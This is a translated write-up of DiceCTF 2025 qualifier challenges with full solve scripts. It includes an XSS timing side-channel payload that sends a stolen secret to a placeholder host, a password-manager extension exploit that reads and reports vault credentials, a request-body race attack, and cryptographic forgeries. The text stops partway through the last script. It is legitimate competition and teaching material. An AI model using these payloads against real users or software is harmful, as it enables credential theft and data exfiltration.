DiceCTF 2025 Quals Writeups

發表於 2025-03-31

分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

It's been a while since I participated with ${cystick} in DiceCTF 2025 Quals. The challenges, like previous years, were quite difficult, but there were also many interesting ones.

Challenges with * in their names indicate that I solved them after the competition ended (post-CTF).

web

pyramid

This challenge is a web app similar to a pyramid scheme; the goal is to obtain 100000000000 currency to exchange for the flag. During registration, you can enter a referral code to record the referrer. You also get your own referral code to give to others. When cashing out, a portion of the referrals is given to the referrer.

The most relevant code snippets are these:

app.post('/new', (req, res) => {
	const token = random()

	const body = []
	req.on('data', Array.prototype.push.bind(body))
	req.on('end', () => {
		const data = Buffer.concat(body).toString()
		console.log('on end', data)
		const parsed = new URLSearchParams(data)
		const name = parsed.get('name')?.toString() ?? 'JD'
		const code = parsed.get('refer') ?? null

		// referrer receives the referral
		const r = referrer(code)
		if (r) {
			r.ref += 1
		}

		users.set(token, {
			name,
			code,
			ref: 0,
			bal: 0
		})
	})

	res.header('set-cookie', `token=${token}`)
	res.redirect('/')
})

app.get('/code', (req, res) => {
	const token = req.token
	if (token) {
		const code = random()
		codes.set(code, token)
		res.type('html').end(`
			${css}
			<h1>Referral code generated</h1>
			<p>Your code: <strong>${code}</strong></p>
			<a href="/">Home</a>
		`)
	}
})

// referrals translate 1:1 to coins
// you receive half of your referrals as coins
// your referrer receives the other half as kickback
//
// if your referrer is null, you can turn all referrals into coins
app.get('/cashout', (req, res) => {
	if (req.user) {
		const u = req.user
		const r = referrer(u.code)
		if (r) {
			;[u.ref, r.ref, u.bal] = [0, r.ref + u.ref / 2, u.bal + u.ref / 2]
		} else {
			;[u.ref, u.bal] = [0, u.bal + u.ref]
		}
	}
	res.redirect('/')
})

Although registering 100000000000 accounts directly would yield enough money, realistically, this is impossible to complete. So, we need to find another way.

The key I exploited here is that in the /new route, you can actually get the token before the server finishes reading the request body. At this point, if you don't send the body immediately, but instead use the token to generate the corresponding referral code via the /code endpoint, and then send this referral code as the body. This will cause referrer(req.user.code) === req.user.

Then, in the /cashout handler, your own ref will become 1.5 times its value, and bal will increase by half of ref. Therefore, by repeatedly cashing out, bal can exceed the target amount.

const net = require('net')

// Use this to attack the real server:
// socat tcp-l:3000,reuseaddr,fork,nodelay openssl:pyramid.dicec.tf:443
const target = new URL('http://localhost:3000/')
const newUrl = new URL('/new', target)

const token = Promise.withResolvers()
const code = Promise.withResolvers()
const registered = Promise.withResolvers()

const socket = net.connect({
	hostname: newUrl.hostname,
	port: newUrl.port
})
socket.on('connect', () => {
	socket.write(`POST ${newUrl.pathname} HTTP/1.1\r\nTransfer-Encoding: chunked\r\nHost: ${newUrl.hostname}\r\n\r\n`)
})
socket.on('data', data => {
	const body = data.toString()
	const tok = body.split('token=')[1].split('\r\n')[0]
	console.log('token', tok)
	token.resolve(tok)
	code.promise.then(cod => {
		const body = `name=peko&refer=${cod}`
		socket.end(body.length.toString(16) + '\r\n' + body + '\r\n0\r\n\r\n')
		registered.resolve()
	})
})

token.promise.then(async tok => {
	const res = await fetch(new URL('/code', target), {
		headers: {
			Cookie: `token=${tok}`
		}
	}).then(r => r.text())
	const cod = res.split('<strong>')[1].split('</strong>')[0]
	console.log('code', cod)
	code.resolve(cod)
})

registered.promise.then(async () => {
	const cod = await code.promise
	const tok = await token.promise
	await fetch(newUrl, {
		method: 'POST',
		body: `name=miko&refer=${cod}`
	})
	for (let i = 0; i < 100; i++) {
		await fetch(new URL('/cashout', target), {
			headers: {
				Cookie: `token=${tok}`
			}
		})
	}
	const resp = await fetch(target, {
		headers: {
			Cookie: `token=${tok}`
		}
	}).then(r => r.text())
	console.log(resp)
	const flag = await fetch(new URL('/buy', target), {
		headers: {
			Cookie: `token=${tok}`
		}
	}).then(r => r.text())
	console.log(flag)
})
// dice{007227589c05e703}

nobin

This challenge has a very simple XSS vulnerability, and the goal is to steal the bot's secret to get the flag:

app.get("/flag", (req, res) => res.send(req.query.secret === secret ? FLAG : "No flag for you!"));
app.get("/xss", (req, res) => res.send(req.query.xss ?? "Hello, world!"));

The bot then puts the secret into something called shared storage, and you need to steal it from there:

<script>
	document.querySelector('form').addEventListener('submit', async (e) => {
		e.preventDefault();
		const message = document.querySelector('textarea').value;
		await sharedStorage.set("message", message);
		document.querySelector('p').textContent = "Message saved!";
		setTimeout(() => {
		document.querySelector('p').textContent = "";
		}, 2000);
	});
</script>

let page = await context.newPage();
await page.goto(`http://localhost:${PORT}`, { timeout: 5000, waitUntil: 'domcontentloaded' });

// save secret
await page.waitForSelector("textarea[id=message]");
await page.type("textarea[id=message]", secret);
await page.click("input[type=submit]");
await sleep(3000);
await page.close();

// go to exploit page
page = await context.newPage();
await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
await sleep(90_000);

The Shared Storage API seems to be a technology intended to replace third-party cookies, with one goal being privacy protection. Its method for protecting privacy is to make shared storage a write-only storage space. Reading data requires going through predefined output gates.

Specifically, the standard method for reading shared storage involves adding another worklet script via window.sharedStorage.worklet.addModule. It runs in a separate JS execution environment where available APIs are very limited, including APIs like sharedStorage.get.

However, exfiltrating the data is the main difficulty. Usually, this seems only possible through the Private Aggregation API. This API allows the browser to record some information with limitations, and then periodically POSTs encrypted information to /.well-known/private-aggregation/report-protected-audience for logging. Afterwards, decryption via some third-party TEE is needed to obtain the aggregated data.

Anyway, in the context of this challenge, we cannot get the flag via the private aggregation API, so we have to find other side channels to steal the data. Related side channels were found on GitHub: #86, #136. However, one is difficult to implement, and the other is unstable.

Here, I found crypto in the worklet's global scope. So I wondered if I could perform some time-consuming crypto calculations (e.g., RSA key generation) to create a timing side channel. Experiments showed this is indeed feasible. If the worklet repeatedly generates RSA keys, the delay for generating RSA keys outside the worklet increases.

Therefore, an exploit can be written to steal the secret:

;(async () => {
	// await sharedStorage.set('message', 'd8226cf1bd74e9ff')

	const blob = new Blob(
		[
			`
class MessageReading {
  async run(data) {
	const message = await sharedStorage.get("message");
	if(data.regex.test(message)){
		for(let i=0;i<10;i++)crypto.subtle.generateKey({name:'RSA-PSS',modulusLength:2048,publicExponent:new Uint8Array([0x01, 0x00, 0x01]),hash:'SHA-256'},true,['sign'])
	}
	return message;
  }
}
register("read-message", MessageReading)
`
		],
		{ type: 'text/javascript' }
	)
	await window.sharedStorage.worklet.addModule(URL.createObjectURL(blob))

	async function measure(n, fn) {
		const ar = []
		for (let i = 0; i < n; i++) {
			const st = performance.now()
			await fn()
			ar.push(performance.now() - st)
		}
		const s = ar.reduce((a, b) => a + b, 0) / n
		return s
	}
	const fn = () =>
		crypto.subtle.generateKey(
			{
				name: 'RSA-PSS',
				modulusLength: 2048,
				publicExponent: new Uint8Array([0x01, 0x00, 0x01]),
				hash: 'SHA-256'
			},
			true,
			['sign']
		)

	const report = arg => (new Image().src = 'https://YOUR_HOST/?' + new URLSearchParams({ arg }))

	const start = performance.now()
	const chars = [...'0123456789abcdef']
	let secret = ''
	while (secret.length < 8 * 2) {
		const regexes = chars.map(c => new RegExp(`^${secret}${c}`))
		const times = []
		for (const rg of regexes) {
			await window.sharedStorage.run('read-message', { keepAlive: true, data: { regex: rg } })
			const time = await measure(10, fn)
			times.push(time)
			console.log(rg, time)
		}
		const mx = Math.max(...times)
		const index = times.indexOf(mx)
		secret += chars[index]
		console.log(secret)
		report(secret)
	}
	console.log('took', performance.now() - start)
})()

/*
report
http://localhost:3000/xss?xss=%3Cscript%20src=%22https://YOUR_HOST/exp.js%22%3E%3C/script%3E
*/

*dicepass

I spent a long time on this challenge but couldn't solve it. After the competition, I looked at the solution and realized I was just one step away QQ.

Anyway, this is a Chrome extension challenge. The goal is to attack their custom password manager extension, which has background and content scripts. The flag is stored in the vault as a password for an unknown website.

First, the content script content.js uses Comlink to expose some functionalities to the main world window.dicepass, and also uses Comlink to communicate with the background script:

const Comlink = require("comlink");
const { chromeRuntimeMessageEndpoint } = require("comlink-adapters");

console.log("[dicepass] Hello from dicepass content script!");

let remote = null, id = null;
const context = {
	version: 1.0,
	extensionId: chrome.runtime.id,
	prevPassword: null,
	prevUsername: null,
	// ...
	async autofill() {
		if (!await context.isLoggedIn()) {
			alert("Please log in to dicepass first!");
			return;
		}

		const usernameInput = document.querySelector('[data-dicepass-username]');
		const passwordInput = document.querySelector('[data-dicepass-password]');

		if (context.prevUsername !== null && context.prevPassword !== null) {
			usernameInput.value = context.prevUsername;
			passwordInput.value = context.prevPassword;
			context.prevPassword = null;
			context.prevUsername = null;
			return;
		}

		if (await remote.hasPasswordFor(id)) {
			const { username, password } = await remote.getLogin(id);
			context.prevUsername = usernameInput.value;
			context.prevPassword = passwordInput.value;
			usernameInput.value = username;
			passwordInput.value = password;
			return;
		}
		else if (usernameInput.value && passwordInput.value) {
			context.saveCredentials(usernameInput.value, passwordInput.value);
		}
		else {
			alert("No password saved in dicepass for " + location.origin + ".\n" + "Please enter your username and password and then click again to save.");
		}
	}
};
// ...
(async () => {
	id = await chrome.runtime.sendMessage('init-content');
	remote = Comlink.wrap(chromeRuntimeMessageEndpoint());
})();

if (!document.querySelector(".dicepass-frame")) {
	const frame = document.createElement("iframe");
	document.body.appendChild(frame);
	frame.name = "dicepass";
	frame.className = "dicepass-frame";
	Comlink.expose(context, Comlink.windowEndpoint(window, frame.contentWindow, window.origin));
}
// ...

Then, Comlink, as an RPC library, offers a lot of flexibility. Basically, anything accessible by the context object can be read/set/called, etc. However, the Function constructor cannot be used for eval due to MV3's CSP restrictions, but prototype pollution is possible.

The one thing I didn't think of while solving this challenge was this: Using DOM clobbering to pollute usernameInput.value so that it becomes a DOM element. This allows obtaining the window object from the content script environment via dicepass.prevUsername.ownerDocument.defaultView. This provides an opportunity to access chrome.runtime and communicate with the background script.

However, to achieve this, we first need a way to pass the await remote.hasPasswordFor(id) check, meaning the background script must believe that your tab has saved credentials. But this part is easy to bypass, because the background script tracks the mapping between tabs and origins like this:

chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
	if (message === "init-popup" && sender.url === "chrome-extension://" + chrome.runtime.id + "/popup.html") {
		Comlink.expose(popupContext, chromeRuntimeMessageEndpoint());
		sendResponse("ok");
	}
	else if (message === "init-content" && sender.origin && sender.tab && sender.tab.id) {
		Comlink.expose(contentContext, chromeRuntimeMessageEndpoint({ tabId: sender.tab.id }));
		const { origins = {} } = chrome.storage.session.get("origins");
		origins[sender.tab.id] = sender.origin;
		chrome.storage.session.set({ origins });
		sendResponse(sender.tab.id);
	}
	return true;
});

We can see it directly records the tab ID and its corresponding origin in chrome.storage.session, and init-content is triggered by content scripts. However, manifest.json defines content scripts like this:

"content_scripts": [{
	"matches": ["<all_urls>"],
	"all_frames": true,
	"js": ["content.js"],
	"css": ["content.css"]
}],

This means if your tab contains an iframe, the content script will also execute within the iframe. This causes the background script to think your tab's origin is the iframe's origin. Therefore, by exploiting this feature, if you know the target origin, you can trigger the password autofill (and read the credentials).

In summary, first pollute the background's origin via an iframe, then use DOM clobbering + Comlink to get the content script's window. However, communicating directly with the background script this way is a bit difficult, because using two layers of Comlink (using the main world's dicepass to control the content script's remote) seems to cause deadlocks. So, finding a way to achieve code execution in the content script context is preferable.

I discovered this part during the competition. You just need to directly use setTimeout(string), and magically, it's not blocked by the content script's CSP. This seems to be because the CSP that setTimeout adheres to is related to the page's CSP, and it's also a wontfix.

After gaining control in the content script environment, it becomes simple. Because its password vault is stored encrypted in chrome.storage.local, with the format:

type Vault = {
	// all fields are encrypted
	origin: string
	username: string
	password: string
}[]

And we know the bot's vault looks like this:

origin	username	password
https://dicepass.dicec.tf	test_user	test_password
???	flag	dice{???}

Then we just need to move the password from vault[1] to vault[1] XD. The incomplete encryption issue is reportedly unintended XD.

<div></div>
<form data-dicepass-username data-dicepass-password>
	<input name="value" />
</form>
<script type="module">
	async function contentScript() {
		const report = msg => {
			new Image().src = new URL('/report?' + new URLSearchParams({ msg }), location.href)
			console.log(msg)
		}
		const { vault } = await chrome.storage.local.get('vault')
		// vault[0].origin is encrypted 'https://dicepass.dicec.tf'
		if (vault[1]) {
			vault[0].username = vault[1].username
			vault[0].password = vault[1].password
			vault.length = 1
			await chrome.storage.local.set({ vault })
		}
		const login = await remote.getLogin(id)
		console.log(login)
		report(login.password)
	}

	const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
	onload = async () => {
		document.body.children[0].innerHTML = '<iframe src="https://dicepass.dicec.tf"></iframe>'
		await sleep(1000)
		// our current tab's origin is marked as 'https://dicepass.dicec.tf'
		// due to background bug
		await dicepass.autofill()
		const contentScriptWin = dicepass.prevUsername.ownerDocument.defaultView
		await contentScriptWin.setTimeout(`(${contentScript})()`)
	}
	// dice{extens1ons_ar3_s0_much_fun}
</script>

crypto

vorpal-sword

#!/usr/local/bin/python

import secrets
from Crypto.PublicKey import RSA

DEATH_CAUSES = [
	'a fever',
	'dysentery',
	'measles',
	'cholera',
	'typhoid',
	'exhaustion',
	'a snakebite',
	'a broken leg',
	'a broken arm',
	'drowning',
]

def run_ot(key, msg0, msg1):
	'''
	https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer
	'''
	x0 = secrets.randbelow(key.n)
	x1 = secrets.randbelow(key.n)
	print(f'n: {key.n}')
	print(f'e: {key.e}')
	print(f'x0: {x0}')
	print(f'x1: {x1}')
	v = int(input('v: '))
	assert 0 <= v < key.n, 'invalid value'
	k0 = pow(v - x0, key.d, key.n)
	k1 = pow(v - x1, key.d, key.n)
	m0 = int.from_bytes(msg0.encode(), 'big')
	m1 = int.from_bytes(msg1.encode(), 'big')
	c0 = (m0 + k0) % key.n
	c1 = (m1 + k1) % key.n
	print(f'c0: {c0}')
	print(f'c1: {c1}')

if __name__ == '__main__':
	with open('flag.txt') as f:
		flag = f.read().strip()

	print('=== CHOOSE YOUR OWN ADVENTURE: Vorpal Sword Edition ===')
	print('you enter a cave.')

	for _ in range(64):
		print('the tunnel forks ahead. do you take the left or right path?')
		key = RSA.generate(1024)
		msgs = [None, None]
		page = secrets.randbits(32)
		live = f'you continue walking. turn to page {page}.'
		die = f'you die of {secrets.choice(DEATH_CAUSES)}.'
		msgs = (live, die) if secrets.randbits(1) else (die, live)
		run_ot(key, *msgs)
		page_guess = int(input('turn to page: '))
		if page_guess != page:
			exit()

	print(f'you find a chest containing {flag}')

This is an RSA Oblivious Transfer (OT) challenge. Each round of OT has two messages, live or die, with $2^{32}$ and $10$ possibilities, respectively. The goal is to obtain the page from the live message to continue.

Since we don't know if 0 and 1 correspond to live or die, using the standard OT protocol cannot solve this challenge. However, this challenge reminded me of zer0pts CTF 2022 - OK. If we set $v = (x_0 + x_1)/2$ , then we will have $k_0 + k_1 \equiv 0 \pmod{n}$ , and thus we can obtain $c_0 + c_1 \equiv m_0 + m_1 \pmod{n}$ .

Here, because die only has $10$ possibilities, we can simply brute-force it. If correct, we can get the desired live message.

from pwn import process, remote
from server import DEATH_CAUSES

# io = process(["python", "server.py"])
io = remote("dicec.tf", 31001)

for _ in range(64):
	io.recvuntil(b"n: ")
	n = int(io.recvline().strip())
	io.recvuntil(b"e: ")
	e = int(io.recvline().strip())
	io.recvuntil(b"x0: ")
	x0 = int(io.recvline().strip())
	io.recvuntil(b"x1: ")
	x1 = int(io.recvline().strip())
	v = (x0 + x1) * pow(2, -1, n) % n
	io.sendlineafter(b"v: ", str(v).encode())
	io.recvuntil(b"c0: ")
	c0 = int(io.recvline().strip())
	io.recvuntil(b"c1: ")
	c1 = int(io.recvline().strip())
	m0plusm1 = (c0 + c1) % n

	PREFIX = b"you continue walking. turn to page "
	for msg in DEATH_CAUSES:
		mx = int.from_bytes(f"you die of {msg}.".encode(), "big")
		my = (m0plusm1 - mx) % n
		pt = bytes.fromhex(f"{my:x}")
		if pt.startswith(PREFIX):
			try:
				page = int(pt[len(PREFIX) : -1])
				break
			except ValueError:
				continue
	print(f"{page = }")
	io.sendlineafter(b"turn to page: ", str(page).encode())
io.interactive()
# dice{gl3am1ng_g0ld_doubl00n}

satisfied

#!/usr/local/bin/python

from hamiltonicity import pedersen_commit, pedersen_open
from hamiltonicity import open_graph, permute_graph
from hamiltonicity import testcycle, check_graph
from hamiltonicity import comm_params
import json
import random

FLAG = open("flag.txt").read()
numrounds = 128

N = 5
payload = json.loads(input("send graph G: "))
G = payload["G"]
check_graph(G, N)

# how are you going to have a hamiltonian cycle if there aren't even enough edges in the graph :3c
if not all(g in [0, 1] for g_ in G for g in g_):
	print("this graph doesn't look quite right...")
	exit()

if not sum([g for g_ in G for g in g_]) < N:
	print("hey, that's too many edges in your graph...")
	exit()

print(f'now, prove that G has a hamiltonian cycle!')

for i in range(numrounds):
	print(f"round {i + 1}")
	
	payload = json.loads(input("send commitment A: "))
	A = payload["A"]
	check_graph(A,N)
	
	challenge = random.randint(0, 1)
	print(f"challenge bit is {challenge}")
	
	payload = json.loads(input("send proof z: "))
	z = payload["z"]
	
	# Challenge bit is 1:
	# You should open the hamiltonian path
	# z = [cycle, openings of cycle]
	if challenge:
		cycle, openings = z
		if not testcycle(A, N, cycle, openings):
			print("i'm not satisfied with your proof...")
			exit()
	
	# challenge bit is 0:
	# you should show permutation and open everything
	# z = [permutation, openings of everything]
	else:
		permutation, openings = z
		G_permuted = open_graph(A, N, openings)
		G_test = permute_graph(G, N, permutation)
		if G_permuted != G_test:
			print("i'm not satisfied with your proof...")
			exit()

print("okay, i'm satisfied now... have your flag")
print(FLAG)

The hamiltonicity module comes from here, providing some functions for Zero-Knowledge Proofs (ZKP) of Hamiltonian cycles.

The challenge goal itself is to use ZKP to prove the existence of a Hamiltonian cycle in a graph where the number of edges is less than the number of vertices. But this is obviously impossible. So the problem must lie within the ZKP protocol itself.

The issue here mainly lies in its permute_graph function:

def permute_graph(G, N, permutation):
	G_permuted = [[G[permutation[i]][permutation[j]] for j in range(N)] for i in range(N)]
	return G_permuted

We can observe that if permutation contains duplicate numbers, it still works correctly. So you can transform a graph with insufficient edges directly into a complete graph. Then you can prove the existence of a Hamiltonian cycle.

from pwn import process, remote
from hamiltonicity import (
	commit_to_graph,
	permute_graph,
	testcycle,
	get_r_vals,
	open_graph,
)
import json

N = 5
G = [
	[1, 0, 0, 0, 0],
	[0, 1, 0, 0, 0],
	[0, 0, 1, 0, 0],
	[0, 0, 0, 1, 0],
	[0, 0, 0, 0, 0],
]
permutation = [0] * N
G_permuted = permute_graph(G, N, permutation)
cycle = [
	(0, 1),
	(1, 2),
	(2, 3),
	(3, 4),
	(4, 0),
]
A, openings = commit_to_graph(G, N)
A_permuted = permute_graph(A, N, permutation)
openings_permuted = permute_graph(openings, N, permutation)
assert open_graph(A_permuted, N, openings_permuted) == G_permuted
sent_openings = get_r_vals(openings_permuted, N, cycle)
assert testcycle(A_permuted, N, cycle, sent_openings)


# io = process(["python", "server.py"])
io = remote("dicec.tf", 31084)
io.sendline(json.dumps({"G": G}).encode())


for _ in range(128):
	io.sendline(json.dumps({"A": A_permuted}).encode())
	io.recvuntil(b"bit is ")
	bit = int(io.recvline().strip())
	print(f"{bit = }")
	if bit == 1:
		z = [cycle, sent_openings]
		io.sendline(json.dumps({"z": z}).encode())
	else:
		z = [permutation, openings_permuted]
		io.sendline(json.dumps({"z": z}).encode())

io.interactive()
# dice{wh4t5_y0ur_f4v0ur1t3_h4m1lt0n14n_s0ng?}

winxy-pistol

#!/usr/local/bin/python

import hashlib
import secrets
from Crypto.PublicKey import RSA
from Crypto.Util.strxor import strxor

DEATH_CAUSES = [
	'a fever',
	'dysentery',
	'measles',
	'cholera',
	'typhoid',
	'exhaustion',
	'a snakebite',
	'a broken leg',
	'a broken arm',
	'drowning',
]

def encrypt(k, msg):
	key = k.to_bytes(1024//8, 'big')
	msg = msg.encode().ljust(64, b'\x00')
	pad = hashlib.shake_256(key).digest(len(msg))
	return strxor(pad, msg)

def run_ot(key, msg0, msg1):
	'''
	https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer
	'''
	x0 = secrets.randbelow(key.n)
	x1 = secrets.randbelow(key.n)
	print(f'n: {key.n}')
	print(f'e: {key.e}')
	print(f'x0: {x0}')
	print(f'x1: {x1}')
	v = int(input('v: '))
	assert 0 <= v < key.n, 'invalid value'
	k0 = pow(v - x0, key.d, key.n)
	k1 = pow(v - x1, key.d, key.n)
	c0 = encrypt(k0, msg0)
	c1 = encrypt(k1, msg1)
	print(f'c0: {c0.hex()}')
	print(f'c1: {c1.hex()}')

if __name__ == '__main__':
	with open('flag.txt') as f:
		flag = f.read().strip()

	with open('key.pem', 'rb') as f:
		key = RSA.import_key(f.read())

	print('=== CHOOSE YOUR OWN ADVENTURE: Winxy Pistol Edition ===')
	print('you enter a cave.')

	for _ in range(64):
		print('the tunnel forks ahead. do you take the left or right path?')
		msgs = [None, None]
		page = secrets.randbits(32)
		live = f'you continue walking. turn to page {page}.'
		die = f'you die of {secrets.choice(DEATH_CAUSES)}.'
		msgs = (live, die) if secrets.randbits(1) else (die, live)
		run_ot(key, *msgs)
		page_guess = int(input('turn to page: '))
		if page_guess != page:
			exit()

	print(f'you find a chest containing {flag}')

This challenge, similar to the previous vorpal-sword, is also an RSA OT problem. But here, the encryption method is changed to SHAKE256 + XOR. Therefore, the property $k_0 + k_1 \equiv 0 \pmod{n}$ from before is not applicable here. However, upon closer inspection, we find that this challenge uses a static RSA key, instead of generating a new one each time. So we can think in this direction.

My approach is to first use the standard OT to get $m_0$ . If $m_0$ is live, proceed to the next round. If not, open another connection to try and obtain $m_1$ .

Assume the original connection has $x_0,x_1$ . Since we want to get $m_0$ , we can set $v=x_0$ . Then $k_0=0$ . At this point, $k_1=(v-x_1)^d$ .

The newly opened connection has $x_0',x_1'$ . Then we can set $v'-x_0'=v-x_1$ , so that $k_0'=(v-x_1)^d=k_1$ . At this point, using the property of XOR, we know $c_0' \oplus c_1 = m_0' \oplus m_1$ . If we are lucky and $m_0'$ is a death message (short and brute-forceable), then we can obtain $m_1$ . Thus, we get the page and return to the original connection to continue the next round. If unlucky, just open another connection.

import hashlib
import re

from Crypto.Util.strxor import strxor
from pwn import context, process, remote


def decrypt(k, ct):
	key = k.to_bytes(1024 // 8, "big")
	pad = hashlib.shake_256(key).digest(len(ct))
	return strxor(pad, ct)


def connect():
	# io = process(["python", "server.py"])
	io = remote("dicec.tf", 31002)
	return io


def recv(io):
	io.recvuntil(b"n: ")
	n = int(io.recvline().strip())
	io.recvuntil(b"e: ")
	e = int(io.recvline().strip())
	io.recvuntil(b"x0: ")
	x0 = int(io.recvline().strip())
	io.recvuntil(b"x1: ")
	x1 = int(io.recvline().strip())
	return n, e, x0, x1


def ot(io, v):
	io.sendlineafter(b"v: ", str(v).encode())
	io.recvuntil(b"c0: ")
	c0 = bytes.fromhex(io.recvlineS().strip())
	io.recvuntil(b"c1: ")
	c1 = bytes.fromhex(io.recvlineS().strip())
	return c0, c1


PAGE_RE = re.compile(rb"page (\d+)")

context.log_level = "error"
io = connect()

for _ in range(64):
	n, e, x0, x1 = recv(io)
	v = x0
	c0, c1 = ot(io, v)
	k0 = 0
	m0 = decrypt(k0, c0)
	print(m0)
	if m0.startswith(b"you die of "):
		while True:
			io2 = connect()
			_, _, x0p, _ = recv(io2)
			vp = (v - x1 + x0p) % n
			c0p, _ = ot(io2, vp)
			io2.close()
			m1xorm0p = strxor(c0p, c1)
			print(m1xorm0p)
			# we hope m0' is short (death), so the page part will not be xored
			# probability: 1/2
			if b"turn to page" in m1xorm0p:
				page = int(PAGE_RE.search(m1xorm0p).group(1))
				break
	else:
		page = int(PAGE_RE.search(m0).group(1))
	print(f"{page = }")
	io.sendlineafter(b"page: ", str(page).encode())

io.interactive()
# dice{lu5tr0us_j3wel_tr1nk3t}

fairy-ring

#!/usr/local/bin/python

import secrets
from Crypto.Util.strxor import strxor

from uov import uov_1p_pkc as uov
import uov_trapdoor
uov.set_random(secrets.token_bytes)

NAMES = ['oberon', 'titania', 'puck', 'gloriana', 'aibell', 'sebile']
MESSAGE = b'shrooms'

class Ring:
	def __init__(self, pks):
		self.pks = pks

	# sk should be the secret key corresponding to public key pks[idx]
	def sign(self, msg, sk, idx):
		xs = []
		t = uov.shake256(msg, uov.m_sz)
		for i, pk in enumerate(self.pks):
			if i != idx:
				x = secrets.token_bytes(uov.n_sz)
				xs.append(x)
				t = strxor(t, uov.pubmap(x, pk))
			else:
				xs.append(None)
		xs[idx] = uov_trapdoor.sample(uov, t, sk)
		return b''.join(xs)

	def verify(self, sig, msg):
		assert len(sig) == len(self.pks) * uov.n_sz, 'invalid signature'
		xs = [sig[i:i + uov.n_sz] for i in range(0, len(sig), uov.n_sz)]
		t = bytes(uov.m_sz)
		for x, pk in zip(xs, self.pks):
			t = strxor(t, uov.pubmap(x, pk))
		assert t == uov.shake256(msg, uov.m_sz), 'invalid signature'

if __name__ == '__main__':
	with open('flag.txt') as f:
		flag = f.read().strip()

	directory = {}
	for name in NAMES:
		with open(f'keys/{name}.pub', 'rb') as f:
			directory[name] = uov.expand_pk(f.read())

	print('=== FAIRIES ===')
	for name in NAMES:
		print(f'- {name}')
	print('===============')

	ring_size = int(input('ring size: '))
	assert 1 <= ring_size <= len(NAMES), 'invalid ring size'

	pks = []
	for i in range(ring_size):
		name = input(f'name {i + 1}: ')
		assert name in NAMES, f'not in directory'
		pks.append(directory[name])

	sig = bytes.fromhex(input('ring signature (hex): '))

	ring = Ring(pks)
	ring.verify(sig, MESSAGE)
	print(flag)

This challenge is about a ring signature scheme based on UOV (Unbalanced Oil and Vinegar). The UOV public key itself is a multivariate quadratic form, simply put, it's a map

P: \mathbb{K}^n \rightarrow \mathbb{K}^m

The trapdoor/private key is an $m$ -dimensional linear space $O$ , satisfying $\forall o \in O \quad P(o) = 0$ . Knowing $O$ allows for easy inversion of this quadratic map (i.e., solving for $x$ in $P(x) = y$ ), hence it can be used for a signature scheme.

The UOV in this challenge uses the field $K=\mathbb{F}_{2^8}$ . The goal of the ring signature is to find $x_0,\cdots,x_n$ such that $\sum_{i=0}^n P_i(x_i) = H(m)$ . If any private key is known, one can choose $n-1$ values for $x_i$ arbitrarily, and then use the trapdoor to invert the remaining one. However, in this challenge, without any private key, we must find another method.

Carefully reading the code reveals that when inputting the pks to be used, there's no check for duplicates:

pks = []
for i in range(ring_size):
	name = input(f'name {i + 1}: ')
	assert name in NAMES, f'not in directory'
	pks.append(directory[name])

Assume len(pks)==2 and the two PKs in pks are identical. Then the problem reduces to finding arbitrary $x,y$ such that $P(x)+P(y)=H(m)=t$ . This seems to offer more freedom than directly inverting a quadratic map, so it might be easier to solve.

After some research, I learned from this post that this type of quadratic map $P$ can be written in polar form:

P'(x,y)=P(x+y)-P(x)-P(y)

and $P'$ is bilinear, which has nice properties.

Since we want to solve $P(x)+P(y)=t$ , let's rewrite the polar form as:

P(x)+P(y)=-P'(x,y)+P(x+y)=P'(x,y)+P(x+y)

P.S. Since $K$ is a binary field, we don't need to worry about signs.

Since $P$ is not linear, let's set $x+y$ to a random value $a$ . Then we get:

P(x)+P(y)=P'(x,y)+P(a)=P'(x,x+a)+P(a)

Here, $P'(x,x+a)$ is linear (i.e., $P'(x,x+a)=Ax$ for some $A$ ), and $P(a)$ is constant. Therefore, the entire expression $P(x)+P(y)$ can be considered affine.

Then, forging the signature only requires solving a linear system $Ax+P(a)=t$ .

from sage.all import *
from binteger import Bin
from Crypto.Util.strxor import strxor
from tqdm import trange
from uov import uov_1p_pkc as uov
import secrets
import uov_trapdoor

uov.set_random(secrets.token_bytes)

NAMES = ["oberon", "titania", "puck", "gloriana", "aibell", "sebile"]
MESSAGE = b"shrooms"


class Ring:
	def __init__(self, pks):
		self.pks = pks

	# sk should be the secret key corresponding to public key pks[idx]
	def sign(self, msg, sk, idx):
		xs = []
		t = uov.shake256(msg, uov.m_sz)
		for i, pk in enumerate(self.pks):
			if i != idx:
				x = secrets.token_bytes(uov.n_sz)
				xs.append(x)
				t = strxor(t, uov.pubmap(x, pk))
			else:
				xs.append(None)
		xs[idx] = uov_trapdoor.sample(uov, t, sk)
		return b"".join(xs)

	def verify(self, sig, msg):
		assert len(sig) == len(self.pks) * uov.n_sz, "invalid signature"
		xs = [sig[i : i + uov.n_sz] for i in range(0, len(sig), uov.n_sz)]
		t = bytes(uov.m_sz)
		for x, pk in zip(xs, self.pks):
			t = strxor(t, uov.pubmap(x, pk))
		assert t == uov.shake256(msg, uov.m_sz), "invalid signature"


directory = {}
for name in NAMES:
	with open(f"keys/{name}.pub", "rb") as f:
		directory[name] = uov.expand_pk(f.read())


def polar_pub(x, y, pk):
	# this is linear is both x and y
	# ref: https://blog.evilmuff.in/oil-spill/
	xy = strxor(x, y)
	a = uov.pubmap(xy, pk)
	b = uov.pubmap(x, pk)
	c = uov.pubmap(y, pk)
	return strxor(strxor(a, b), c)


"""
we know
p'(x,y)=p(x+y)-p(x)-p(y)
is linear in x and y

and we want to find p(x)+p(y)=t

fix x+y=a
p(x)+p(a+x)=p'(x,a+x)+p(a)
		   =lin+const=affine!!!
"""

out_dim = uov.m_sz * 8
inp_dim = uov.n_sz * 8


def b2v(x):
	return vector(GF(2), Bin(x, n=out_dim).list)


def v2b(x):
	return Bin(list(x)).bytes


tgt = uov.shake256(MESSAGE, uov.m_sz)


pk = directory["oberon"]
a = secrets.token_bytes(uov.n_sz)
pa = uov.pubmap(a, pk)
xs = []
vs = []
for _ in trange(inp_dim + 5):
	x = secrets.token_bytes(uov.n_sz)
	xs.append(x)
	y = strxor(x, a)
	o = polar_pub(x, y, pk)
	vs.append(b2v(o))
M = matrix(vs)
X = matrix([b2v(x) for x in xs])

affine = X.solve_right(M)
for _ in range(5):
	x = secrets.token_bytes(uov.n_sz)
	y = strxor(x, a)
